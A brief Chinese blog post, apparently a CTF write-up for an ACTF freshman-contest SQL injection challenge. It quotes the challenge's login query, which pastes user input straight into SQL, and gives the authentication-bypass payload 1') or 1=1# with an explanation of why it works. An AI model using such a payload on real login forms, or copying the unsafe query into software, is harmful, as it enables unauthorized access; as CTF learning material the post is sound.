

ACTF新生赛 SQL注入

原创

[person by 小鸟](#) 于 2020-03-17 17:46:13 发布 74 收藏

分类专栏: [笔记](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/SopRomeo/article/details/104926542>

版权



[笔记](#) 专栏收录该内容

31 篇文章 1 订阅

订阅专栏

源代码里有个index.txt

```
$sql = "select username from users where (username='$username') and (pw='$passwd')";
```

构造sql万能密码

可以闭合前面的username查询, 注释掉后面的passwd查询

```
1') or 1=1#
```

于是就有 假 or 真 所以where 1从而绕过检测